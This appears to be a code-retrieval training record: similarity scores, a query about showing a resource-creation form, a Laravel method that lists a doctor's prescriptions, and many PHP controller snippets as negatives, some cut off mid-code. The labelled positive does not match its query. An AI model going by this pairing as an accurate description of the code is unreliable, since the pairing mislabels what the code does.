[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function todos() { //$pres=Prescription::all(); $pres= Prescription::where('medico_id', Auth::user()->id)->get(); return view('Prescriptions.todos',["prescripciones"=>$pres]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { // $pres=new Prescription; $pres->observacion=$request->observacion; $pres->instrucciones=$request->instruccion; $pres->paciente_id=$request->paciente_id; $pres->medico_id=$request->medico_id; $pres->save(); $pres->medicina()->attach($request->medicamentos); return redirect('pacientes/historial/'.$pres->paciente_id); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show(Prescription $prescription) { dd($prescription); $pres=collect([]); return view('Prescriptions.ver',["prescription"=>$prescription,"medicamentos"=>$pres]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo 